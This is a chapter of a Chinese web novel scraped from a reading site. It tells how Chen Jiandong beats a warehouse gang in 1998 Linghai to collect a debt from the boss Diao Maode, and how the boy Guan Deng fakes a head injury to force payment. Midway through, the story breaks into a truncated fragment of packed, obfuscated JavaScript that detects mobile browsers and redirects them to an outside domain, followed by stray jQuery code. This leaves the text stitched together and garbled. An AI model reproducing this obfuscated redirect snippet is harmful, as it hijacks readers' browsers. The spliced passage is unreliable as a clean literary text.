默认冷灰
24号文字
方正启体

6. 第6章

作者:绒确本书字数:K更新时间:
    一听卖车,几个男人瞬间都清醒过来。


    那车是他们吃饭的家伙事,没有车来回运货得靠人工拉,这些人肯定不愿意。


    陈建东拿着小灵通扔在桌上:“那就给刁茂德打电话。”


    集装箱是连廊,几个箱子拼在一块,隔壁有人听见声也到门口凑热闹,“叫什么?陈建东?是不是刁总说的那个人。”


    “起来起来!张哥来了。”


    “张哥,就他!让我们给刁总打电话,还要把车开走。”


    “兄弟,这电话我们不用打,就告诉你,车钥匙你拿不走,电话也放下,识相点大过年给你箱啤酒,等你开春再来,不然我们可就不能这么客气了。”拥挤的集装箱连廊外头走进来个裹军大衣的男人,其他人让了道,他在陈建东面前坐下,是这群人领头的。


    刁茂德提前肯定打过招呼,不然在这屋里没人能做主。


    陈建东见过他,以前给集装箱加隔热板抽过烟,姓张。


    集装箱小,除了上下铺,中间的地方只够摆一张桌,进来七八个男的几乎要将整个集装箱撑炸了似的。


    “张哥,他刚才拎我脖子!”光头朝地上吐了口唾沫,“挺他妈的嚣张!”


    “建东,和我兄弟们这么不客气?不像是来求人的。”张哥笑了笑。


    陈建东微微皱眉,把皮衣撂下,抬眸对视。


    他是来要钱的,不是来求人的。


    陈建东不卑不亢,犀利的眼眸微抬,点点桌子缓缓道,“打电话。”


    这个冷淡的眼神仿佛一剑,轻而狠落,在空中静静的砸下。


    “我草?”几个男人里头有人笑了。


    张哥披着军大衣,磕着瓜子,“没商量呗。”


    陈建东说:“让刁茂德滚出来。”


    张哥扔掉手里的那捧瓜子儿,有人关了门,地上的酒瓶子被抄起来,一触即发的压抑。


    “——砰!”


    酒瓶碎裂在铁皮上的声震动发出闷响,空荡的厂内外仿佛有回音。


    铁门关上的刹那,陈建东面对前仆后继冲过来的人,干脆利落的一记鞭腿横扫,狭窄的空间内将人直接撂倒。


    “叮当!”随着清脆的酒瓶砸碎声落,在这个战场中已经弥漫出血腥气息。


    “都给我上!”


    “砰!”


    关灯在楼下堆雪人吓了一跳,手里捧的雪差点掉了。


    “咋了这是。”他好奇往楼上看看,有点远听不清,就能听见叮叮咣咣的声,接连不断。


    集装箱都是铁皮,外头有层保温,都是沉闷的动静。


    关灯听话,老老实实的在楼下没上去。


    但他知道这肯定不是好动静,他喊一声,“建东哥?”


    还是乒乒乓乓的声,酒瓶子也碎了,不到啥玩意掉地上了,哐哐当当,关灯的心都跟着紧张的跳。


    他喊了几声都没回应。


    冷风吹过来,箭一样穿透身体,关灯打了个冷颤,隐约知道楼上发生什么,等到声音静下来,他壮着胆子小心翼翼的上了台阶,顺手从二楼台阶拿了个小铲子握在手里,手指止不住的哆嗦。


    “建东哥……?”关灯颤颤的在门口小声喊。


    铁门吱嘎吱嘎被寒风吹开。


    ‘吱呀——吱呀——’铁门声刺的仿佛冷钉钻入耳道,令人激起一身鸡皮疙瘩。


    听里面的玻璃瓶碎片摩擦在地上的声音也令人抓心挠肝。


    关灯的心几乎跳到嗓子眼儿。


    刚才还嘈杂无比的集装箱内此刻如此安静,铁门被吹开的声音仿佛空荡的都有了回音。


    门开了,满地的人,一地的血。


    陈建东手上还捏个酒瓶长嘴,碎掉的瓶身边缘锋利,被他随手扔在地上。


    怪不得今天穿这个短款皮衣,原来早有预备要打架,为了行动方便。


    地上数不清有多少个人,一个个哎呦哎呦的痛苦嚎叫,狼狈极了。


    陈建东的身影逆光,手臂的血顺着指尖流淌,脸上也有大片血痕,喘着粗气,转头看见关灯,“下去!”


    他踉跄的往后一坐,把地上的小灵通捡起来扔给张哥,“打不打?”


    “打……!”张哥捂着头,在地上撑着胳膊肘半天没起来身,还是和兄弟扶着才站起来,“这就打。”


    地上的玻璃瓶子被每一步都踩出稀碎的响。


    “滋啦——”


    “滋啦——”


    张哥一只手捂着头,鲜血从他的板寸头顺着指缝往下流,绿大衣的袖口浸湿成暗色,地上七扭八歪的男人也慢慢坐起来,不吭声。


    关灯没见过这场面,吓都吓傻了。


    “叫你上来了吗,滚下去。”陈建东叼着烟,从兜里摸打火机。


    他穿这身黑皮衣挺有范,像香港电影里的马仔头头,手背骨因为砸人皮肉外翻,手指头像骨折了,大拇指弯不下去,有些抖。


    “你咋打架了。”关灯声音颤颤的,迈过地上的人着急跑进来。


    “让你滚出去听不着?大人的事小孩少打听!”陈建东把打火机往铁桌上一砸,‘嘭’的一声,对着姓张的没了耐心,“你他妈的打不打!”


    “打,这就打,他真不一定接……!”张哥知道这人是硬茬子,这回也不往上冒头,实话实说。


    张哥捂着头打电话,刁茂德接了。


    姓张的哆嗦又小声的重复了刚才的事。


    刁茂德早就吩咐过他们,陈建东来了也不用管,姓关的欠他一大笔,这万把块钱赖了也就赖了,何况能干小港存货这种买卖,都知道他刁茂德身后有背景,不至于有傻子能冒头和他要钱。


    没想到陈建东不仅莽头来要,而且拿不到不会走。


    刚才这屋门一锁,来回冲上来多少人,他一个个撂倒,身法没见得多好。


    这世道上想创出条道,不要命的总能得第一。


    “妈的,你们都是废物吗!”刁茂德在电话那头骂着,沉寂几秒,“带他过来。”


    厂子大,坐着叉车往里头货仓走,空旷地上只有几个铁仓库厂房,刁茂德的办公室就在其中之一。


    “建东,你说这事闹的!”刁茂德叼着根烟,手里握着一把牌,见他来了起身,桌上剩下三个男的也跟着站起来。


    “刁总,他打伤我们弟兄,还要把车开走!”光头跟着来的,捂着脑袋指着咒骂。


    “建东,有话不能好好说?咱们也是老相识,你帮着我厂子砌墙,说好的以后存货抵款,这事你要赖,大过年上我这闹,不太合规矩吧。”


    刁茂德长着一双三角眼,眯起来格外狡诈,他从口袋里掏出一沓子钞票拍桌上,多说也就五千。


    陈建东上前几步要拿走,刁茂德说,“建东,你可想好了,这钱拿了,以后我的港,可不接你的货,我这边打点打点,别说凌海了,大连,鲅鱼圈,哪个能接你的货?”


    陈建东拿起钞票用手感受厚度,低头看他,“不够。”


    “你别他妈的蹬鼻子上脸?操你妈的!”刁茂德身后的男人一脸恶相,眼里蹿起狠意,一掌拍在桌上,一直插在裤兜里的手抽出来向外挥舞时,竟然是把水果刀!


    陈建东侧身而过,桌面瞬间被掀翻。


    关灯怀里塞了几千块钱,整个人被往后一推,眼看着三个男人中,在后面的要拎着酒瓶子往陈建东后脑砸过去!


    “啊——!”


    关灯捂着脑袋大喊:“别打建东哥!”


    陈建东刚灵巧的躲过刀,只听身后的熟悉声闷哼,转头时关灯已经身体柔软的倒了过来,酒瓶子砸在侧耳,小孩满眼惊恐。


    他一秒都没迟疑,动作迅速,常年在工地里干力气没话说,直接翻身飞踢,把拿酒瓶把的人踢远。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286076|182601||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >集装箱跟来的那些兄弟谁也不敢上前,他们是吃过亏的,知道陈建东是个要钱不要命的主。


    鲜血洒落,玻璃四散,不知道那把刀究竟捅了谁,刀尖上滴答着血,孤零零的躺在地上。


    “醒醒!”陈建东一把抱住关灯摇着他的肩膀,眼里透出几分担忧。


    他没想到这小孩傻劲竟然到这种地步,一对多打架最不能怕挨打才能占上风,即便打到他也晕不倒,反而更方便回击,关灯哪知道这事,竟然硬生生替他扛了!


    关灯呆呆的,像是压根儿不知道发生了什么,耳边嗡鸣,看着陈建东的嘴巴一张一合,傻乎乎摇头,拍拍胸口,刚要说没事,但眼珠一转,他又眼睛一酸,虚弱的开始哭。


    “建东哥,我脑袋疼,我是不是要死了?脑袋怎么流血了...?”


    “建东哥..我不想死,我不想死..!”


    陈建东的心都提到了嗓子眼,眼神猩红。


    刁茂德原本还觉得是那些工人不给办事,如今看来陈建东是动了真格,刀都不怕,这钱肯定得给,真闹出人命他也不好办。


    陈建东怀里的那个脑瓜子直冒血,砸这一下嘴唇瓣儿都泛白了,奄奄一息的样比一身血的陈建东还吓人。


    一万三千二,分毛不少。


    刁茂德把钱拍在桌上,让他们赶紧走,生怕那个小的真死在这。


    “陈建东!以后我的港你休想再进来!”刁茂德在他身后大喊。


    陈建东抱着关灯从厂房走出去,脚步没停。


    凌海的风在冬天冷的要命,哈气冒白烟,额头上的血也似乎要凝结成冰。


    “我能走。”关灯在他怀里,声音低低的,“你咋没和我说,是来要钱呢?好吓人…”


    “吓人你还敢冲上去?”陈建东撂下他,“走两步看看。”


    “能走。”关灯往后瞅瞅,确定没人看了,露出一个俏皮的小鬼脸眨眨眼。


    陈建东的心也没放下去多少:“你装的?”


    “我看他们不想还你钱呀...”关灯鼓鼓嘴,“这不就要来了嘛?”


    陈建东一瞬间心口有几分愠怒,却哑口无言不知应该说什么,本就不关这小孩的事,到头来,竟然还要这个小孩耍机灵来平事。


    关灯就是耳朵疼,俩人一个人伤的比一个重,陈建东的手指头瞧着像是骨折了似的,可吓人。


    关灯两步走的稳当,陈建东拉着他往外走。


    门口的三驴蹦子大爷还在等,没想到俩人好好进去,竟然这般模样出来,‘哎呦’一声赶紧扶好,“上医院吧!”


    陈建东默认,在车上关灯用袖子擦擦耳朵,一声不吭的,也不喊疼。


    “不疼?”


    “疼啊……”关灯嘟嘟嘴,脸色不好看。


    陈建东刚要乐呵他怪细皮嫩肉的,关灯又说,“我瞅你比我疼,建东哥,我也是男子汉,怕喊疼你就心里烦,不要我了。”


    关灯的手指头还在哆嗦,现在想想他是在后怕。


    这从小到大没吃过苦的小少爷跟着他到现在一点儿好没落到,不是喝不上水,就是挨着打,他陈建东也不是什么好人,就这样这个小孩还怕自己扔了他。


    笨蛋还是白痴?


    “建东哥,你疼不?挣钱这么费劲啊…看你受伤我心里老不得劲儿了……”关灯擦擦眼睛,耳边疼的他呲牙咧嘴。


    陈建东心口莫名其妙暖了一把,敲了下他的脑袋,“看。”


    “看啥?”关灯问。


    “你不没看过海吗,那就是。”


    凌海的公路在1998新年前就铺好了柏油路,这边工厂多,天空都蒙着一种淡淡的灰色,有种旧旧的感觉,浪打上来会有回响,冷风中带着咸味。


    干涸的海床停摆一艘艘破旧轮渡。


    三轮车在公路上绕着,海也没有电影里那么好看,关灯想。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)